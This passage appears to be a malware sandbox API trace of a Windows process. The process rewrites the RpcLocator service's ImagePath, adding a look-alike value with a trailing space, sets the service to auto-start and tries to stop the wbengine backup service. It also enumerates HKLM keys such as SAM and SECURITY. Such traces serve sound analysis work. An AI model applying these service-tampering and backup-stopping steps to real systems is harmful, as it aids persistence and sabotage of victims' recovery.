0x252d548 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0258.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0258.947] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0258.948] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0258.948] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0258.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0258.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0258.948] LocalFree (hMem=0x7e4b18) returned 0x0 [0258.948] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0258.948] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x803990 [0258.949] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0258.950] CloseServiceHandle (hSCObject=0x803990) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.950] RegCloseKey (hKey=0x148) returned 0x0 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0258.950] RegCloseKey (hKey=0x14c) returned 0x0 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0258.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0258.950] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0258.950] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0258.951] GetLastError () returned 0x20 [0258.951] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0258.951] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0258.951] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0258.951] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x20) returned 0x8038a0 [0258.952] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0258.952] GetLastError () returned 0x425 [0258.952] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0258.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0258.953] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0258.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0258.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.955] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.955] RegCloseKey (hKey=0x80000002) returned 0x0 [0258.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0258.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0258.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.957] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0258.957] RtlAllocateHeap 